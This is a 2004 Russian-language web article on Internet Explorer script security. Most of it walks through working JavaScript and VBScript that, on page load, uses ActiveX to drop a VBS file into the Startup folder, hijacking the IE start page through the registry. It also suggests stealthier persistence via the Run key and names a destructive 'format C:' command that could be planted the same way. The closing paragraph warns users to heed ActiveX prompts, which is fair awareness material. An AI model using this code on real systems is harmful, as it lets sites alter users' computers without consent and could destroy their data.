ГлавнаяУтилитыСофтСтатьиКаталогГостевая

Безопасность Java-скриптов

Редакция от 20/07/2004

Введение

Огромное количество пользователей используют операционные системы и веб-браузер фирмы Microsoft. Поэтому, достаточно актуальным стоит вопрос о безопасности Java-скриптов, особенно автоматически выполняющихся при открытии html-страницы. Действительно, обидно навредить себе, всего лишь открыв веб-страницу.

Давно прошли времена, когда пользователя можно было смутить, показав ему содержимое его диска C:\ . Все дело в том, что Java-скрипт выполняется на клиентском месте и пользователь, по сути, открывает Проводник на своем компьютере. Но, даже с клиентского места, можно кое-что изменить. Например, стартовую страницу Internet Explorer.

Изменение стартовой страницы

Microsoft грудью стала за права пользователя в отношении установки домашней страницы без его ведома. Ссылка вида Сделать стартовой требует подтверждения пользователя, и это правильно. Установка сайта в качестве стартовой страницы дает приток посетителей на ровном месте и веб-мастера дорого бы отдали за такую установку.

Попробуем, все-таки, изменить стартовую страницу при помощи Java Script (достаточно распостраненная конфигурация WinXP/IE 6.0). Для этого необходимо изменить значение ветки реестра
HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page на требуемый URL. Доступ к реестру, можно получить, выполнив HTML Applications (файл с расширением .hta) или Visual Basic скрипт (файл с расширением .vbs). Первый вариант на моем компьютере запретил SpIDer Guard, поэтому воспользуемся VB-скриптом.

Вся работа занимает две строчки:
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page","webmastertools.narod.ru"

Теперь необходимо, чтобы vbs-файл, содержащий данный код, выполнился на компьютере пользователя. Для этого, файл достаточно поместить в директорию автозагрузки. По умолчанию, vbs-файлы ассоциированы с программой WScript.exe, и, если ничего не менять, программа выполнит скрипт.

Для того, чтобы поместить скрипт в указанное место, создадим функцию, которая выполнится при открытии html-страницы (событие onLoad). Создадим необходимый ActiveXObject.
var fso = new ActiveXObject("Scripting.FileSystemObject");
При создании данного объекта будет выдано предупреждение «Страница может содержать опасные программы (элементы ActiveX)». Если сейчас отказаться от выполнения скрипта — ничего не произойдет, и в данном случае так и нужно поступать. Если предупреждение проигнорировано, продолжим.

Далее, необходимо указать путь к vbs-файлу. Можно это сделать явно, а можно и через временную директорию:
var fld = fso.GetFolder(fso.GetSpecialFolder(2));
fld = fso.GetFolder( fld.ParentFolder );
fld = fso.GetFolder( fld.ParentFolder );
fld = fld + "\\Главное меню\\Программы\\Автозагрузка\\";
var file = fld + "startpage.vbs";

Итак, в переменной file содержится полный путь к файлу. Создадим этот файл.
var f = fso.CreateTextFile(file,true);
if (f)
{
f.WriteLine('Set WSHShell = WScript.CreateObject("WScript.Shell")');
f.WriteLine('WSHShell.RegWrite "HKCU\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\Start Page","webmastertools.narod.ru"');
f.Close();
}

Пример страницы

Заключение

Вот и все. Теперь, каждый раз, при загрузке компьютера будет изменяться стартовая страница MSIE. Можно поступить немного изощренней и скриптом, выполняющимся при автозагрузке, записать в ветку реестра
HKCU\SOFTWARE\Microsoft\Windows\Current Version\Run путь к скрипту, изменяющего стартовую страницу и затем удалить первый скрипт из автозагрузки. Возможны другие варианты, но это уже дело техники.

К чему я призываю: при использовании веб-браузера Internet Explorer, всегда обращать внимание на диалоговые окна с предупреждениями. Потому что, изменение стартовой страницы, — не самое страшное, что может произойти. Ведь в автозагрузку можно поместить и bat-файл с деструктивными командами типа format C: . Так что, при появлении предупреждения при открытии веб-страницы, как говорил товарищ Саахов в известном фильме: «Торопиться не надо».

 
Рейтинг@Mail.ru Rambler's Top100
Hosted by uCoz